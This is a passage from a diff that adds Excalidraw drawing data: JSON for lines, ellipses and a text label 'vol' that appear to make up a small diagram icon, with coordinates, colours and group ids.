+ "groupIds": [ + "ke6euh3wlj1NkN-Ojth98", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.3038170575611916, + 10.9393431170987 + ], + [ + 3.6252474283408214, + 19.27105211907502 + ], + [ + 19.207451286998833, + 24.708923261586346 + ], + [ + 41.18153876931043, + 24.867925341776683 + ], + [ + 55.26912307417885, + 20.034262103988922 + ], + [ + 57.749555525148864, + 11.734353518050673 + ], + [ + 58.06755968552963, + 4.229455333064291 + ], + [ + 56.44573846758773, + -0.5406070726473374 + ], + [ + 38.891908814568815, + -2.3532307868177478 + ], + [ + 0.22260291226651693, + -0.7632099849138022 + ] + ] + }, + { + "type": "ellipse", + "version": 1170, + "versionNonce": 142226656, + "index": "c0UZ9G", + "isDeleted": false, + "id": "ugQHs2uMEqNQ85L-7xe26", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1579.9142456317436, + "y": -1418.230318062218, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 58.28444896770605, + "height": 13.326343859450365, + "seed": 598096056, + "groupIds": [ + "ke6euh3wlj1NkN-Ojth98", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1068, + "versionNonce": 1763743968, + "index": "c0UZ9V", + "isDeleted": false, + "id": "hd5CvzTL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1594.4705766839081, + "y": -1379.1285217803234, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 24.585324755793753, + "height": 22.935001028129516, + "seed": 349069752, + "groupIds": [ + "ke6euh3wlj1NkN-Ojth98", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "vol", + "rawText": "vol", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "vol", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3880, + "versionNonce": 794459360, + "index": "c0UZA", + "isDeleted": false, + "id": "fTrSbSqSH8gIt4SxQNm2D", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.2055006201003, + "y": -1382.6029138059012, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1628007096, + "groupIds": [ + "SN9yAYQVJhaF65gSRr4Ru", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2726, + "versionNonce": 1555554528, + "index": "c0UZAG", + "isDeleted": false, + "id": "QVgPEUxbexXfFR51FfHUZ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1551.3633553879451, + "y": -1383.5141153880327, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1660638136, + "groupIds": [ + "SN9yAYQVJhaF65gSRr4Ru", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 3017, + "versionNonce": 1086899424, + "index": "c0UZAV", + "isDeleted": false, + "id": "fFpY9yjcYvbIKJnlegT8c", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1551.2114397656962, + "y": -1370.032985370116, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 64.7088801862404, + "height": 64.26452098858984, + "seed": 13114552, + "groupIds": [ + "5W2w_aij9eV1H4h2mGuv0", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -25.806517693322068, + 12.318162269729697 + ], + [ + -32.06556116371734, + 41.06054089909901 + ], + [ + -14.347653493675317, + 63.882562468598216 + ], + [ + 14.34765349367535, + 64.26452098858984 + ], + [ + 32.64331902252307, + 40.9650512691011 + ], + [ + 26.28798257566017, + 12.2226726397318 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2016, + "versionNonce": 958212320, + "index": "c0UZB", + "isDeleted": false, + "id": "bE1QGmcp1A74vUrqKbOtI", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1539.183529119142, + "y": -1350.6812367821594, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 1007928760, + "groupIds": [ + "DDGZqke1WMwHnkUT0f9-n", + "CSc2aJTmV0ucJDu30Lupu", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2234, + "versionNonce": 1900350688, + "index": "c0UZBG", + "isDeleted": false, + "id": "_v689XISTzY-vhrLBwCoe", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1549.997495265507, + "y": -1350.711528003858, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 1107447480, + "groupIds": [ + "DDGZqke1WMwHnkUT0f9-n", + "CSc2aJTmV0ucJDu30Lupu", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1949, + "versionNonce": 584085728, + "index": "c0UZBV", + "isDeleted": false, + "id": "A2yvsAdTg7A4xL6Mn56IJ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1539.5773150012215, + "y": -1351.3779348812259, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 2067249080, + "groupIds": [ + "DDGZqke1WMwHnkUT0f9-n", + "CSc2aJTmV0ucJDu30Lupu", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2041, + "versionNonce": 1431262432, + "index": "c0UZC", + "isDeleted": false, + "id": "UCjyyutkP5UWZ0qo7vSyq", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1552.8895798620824, + "y": -1350.689512012098, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 467140792, + "groupIds": [ + "fWctPT6AGTGotIzkt7sz-", + "6cofo07lmIwVr6g8Z4fxm", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2259, + "versionNonce": 508672224, + "index": "c0UZCG", + "isDeleted": false, + "id": "ePav_SSgBVO3PImXu11bZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1563.7035460084471, + "y": -1350.7198032337974, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 864496056, + "groupIds": [ + "fWctPT6AGTGotIzkt7sz-", + "6cofo07lmIwVr6g8Z4fxm", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1974, + "versionNonce": 1634180320, + "index": "c0UZCV", + "isDeleted": false, + "id": "HPlq6vFjeLMWH4jJwpNaV", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1553.2833657441636, + "y": -1351.3862101111645, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 1030304440, + "groupIds": [ + "fWctPT6AGTGotIzkt7sz-", + "6cofo07lmIwVr6g8Z4fxm", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2062, + "versionNonce": 270598368, + "index": "c0UZD", + "isDeleted": false, + "id": "qr3fEDsLcIT5jPz8lkDuS", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1546.0283232851068, + "y": -1363.2405911163232, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 4.9374691368559125, + "height": 8.693580627470233, + "seed": 807541688, + "groupIds": [ + "CI2quDi79WtU0fGQsv2W9", + "68vzZ5LoENyZJOS-KGuiJ", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2280, + "versionNonce": 1779295456, + "index": "c0UZDG", + "isDeleted": false, + "id": "zKjMAMj_c3tdtXTHKVD72", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1556.8422894314713, + "y": -1363.2708823380217, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 232121528, + "groupIds": [ + "CI2quDi79WtU0fGQsv2W9", + "68vzZ5LoENyZJOS-KGuiJ", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1995, + "versionNonce": 1019103456, + "index": "c0UZDV", + "isDeleted": false, + "id": "x4qHzKVhKWF2hwts0_dOV", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1546.4221091671861, + "y": -1363.9372892153897, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 1948814776, + "groupIds": [ + "CI2quDi79WtU0fGQsv2W9", + "68vzZ5LoENyZJOS-KGuiJ", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1324, + "versionNonce": 599928032, + "index": "c0UZE", + "isDeleted": false, + "id": "L1vSa_X1vR46ixnYOgO9-", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1537.7832892409144, + "y": -1338.6177363636543, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 9.333119087971218, + "height": 9.4537020219243, + "seed": 742266552, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1266, + "versionNonce": 1219072224, + "index": "c0UZEG", + "isDeleted": false, + "id": "n1s2slGxd1tcfFMW7XFxt", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1542.4619070782953, + "y": -1338.47303684291, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.5305649093936884, + "height": 1.8569771828779855, + "seed": 985300920, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.5305649093936884, + -1.8569771828779855 + ] + ] + }, + { + "type": "line", + "version": 1249, + "versionNonce": 587494624, + "index": "c0UZEV", + "isDeleted": false, + "id": "Al_zv2ES0rc0yr-q2IW9Y", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1545.5729467742856, + "y": -1337.6289563052378, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.856977182877977, + "height": 0.6993810169280661, + "seed": 1874970808, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.856977182877977, + -0.6993810169280661 + ] + ] + }, + { + "type": "line", + "version": 1252, + "versionNonce": 946002144, + "index": "c0UZF", + "isDeleted": false, + "id": "MuZwmK7HLPEBYdhI_hVOH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1546.7546595270273, + "y": -1333.9873516998541, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.4357752658528606, + "height": 0.4823317358124594, + "seed": 1995960760, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.4357752658528606, + 0.4823317358124594 + ] + ] + }, + { + "type": "line", + "version": 1250, + "versionNonce": 1549057248, + "index": "c0UZFG", + "isDeleted": false, + "id": "1xZmlL3R6otE6nNtV6MOh", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1545.9346955761443, + "y": -1330.3698636812605, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.2781790999030933, + "height": 1.5675781413905017, + "seed": 1736506040, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.2781790999030933, + 1.5675781413905017 + ] + ] + }, + { + "type": "line", + "version": 1242, + "versionNonce": 1886003424, + "index": "c0UZFV", + "isDeleted": false, + "id": "NA6ZHJtQ2EPgLCVje0bB_", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1542.3413241443418, + "y": -1329.0916845813567, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.289399041487577, + "height": 2.0740264639935924, + "seed": 1409344440, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.289399041487577, + 2.0740264639935924 + ] + ] + }, + { + "type": "line", + "version": 1244, + "versionNonce": 607323360, + "index": "c0UZG", + "isDeleted": false, + "id": "VsJkjcRctXaz0oiaWhZ9p", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1539.5196834898388, + "y": -1330.7557290699106, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.6399279017623953, + "height": 1.856977182877977, + "seed": 1520151736, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.6399279017623953, + 1.856977182877977 + ] + ] + }, + { + "type": "line", + "version": 1252, + "versionNonce": 893348064, + "index": "c0UZGG", + "isDeleted": false, + "id": "ZiMF-4uCW6WrUscq4_FdU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1538.4103204974708, + "y": -1334.0114682866451, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.1592728695716006, + "height": 0, + "seed": 888493496, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.1592728695716006, + 0 + ] + ] + }, + { + "type": "line", + "version": 1248, + "versionNonce": 790580448, + "index": "c0UZGV", + "isDeleted": false, + "id": "ajSe_BGfdT81ETlOmP39s", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1540.0261318124437, + "y": -1337.5083733712845, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.856977182877977, + "height": 0.4823317358124594, + "seed": 1211227832, + "groupIds": [ + "OWNOO_kDcBc_YlRH79zBs", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.856977182877977, + -0.4823317358124594 + ] + ] + }, + { + "type": "ellipse", + "version": 1315, + "versionNonce": 727888096, + "index": "c0UZGl", + "isDeleted": false, + "id": "Re0QSE7TYDXuyTbEOu10e", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1549.9286100136896, + "y": -1335.1282556171655, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 14.403356230904123, + "height": 14.589446104688362, + "seed": 888489912, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1257, + "versionNonce": 295277792, + "index": "c0UZH", + "isDeleted": false, + "id": "fZ6ystdlarCwQJxSOB0CO", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1557.1488971165209, + "y": -1334.9049477686249, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.818795444650843, + "height": 2.8657840562780676, + "seed": 1734578360, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.818795444650843, + -2.8657840562780676 + ] + ] + }, + { + "type": "line", + "version": 1240, + "versionNonce": 1465120992, + "index": "c0UZHG", + "isDeleted": false, + "id": "CLaNvecZt97xTVTC5biOp", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1561.9500158601559, + "y": -1333.6023186521347, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8657840562780548, + "height": 1.0793212679488726, + "seed": 656456120, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8657840562780548, + -1.0793212679488726 + ] + ] + }, + { + "type": "line", + "version": 1243, + "versionNonce": 1075961056, + "index": "c0UZHV", + "isDeleted": false, + "id": "EDLlTRN9MJIkLsb6FRkIe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1563.7736966232412, + "y": -1327.982404463849, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.7590154504425346, + "height": 0.7443594951371537, + "seed": 659604152, + "groupIds": [ + "jHFVqiupvfeKz5JT0RBb7", + "DXyPWHGOe_VGI45M0Zax5", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 3.7590154504425346, + 0.7443594951371537 + ] + ] + }, + { + "type": "line", + "version": 1241, + "versionNonce": 496189664, + "index": "c0UZI", + "isDeleted": false, + "id": "32MHNqq3akgzHgTWUzP7J", + "fillStyle": 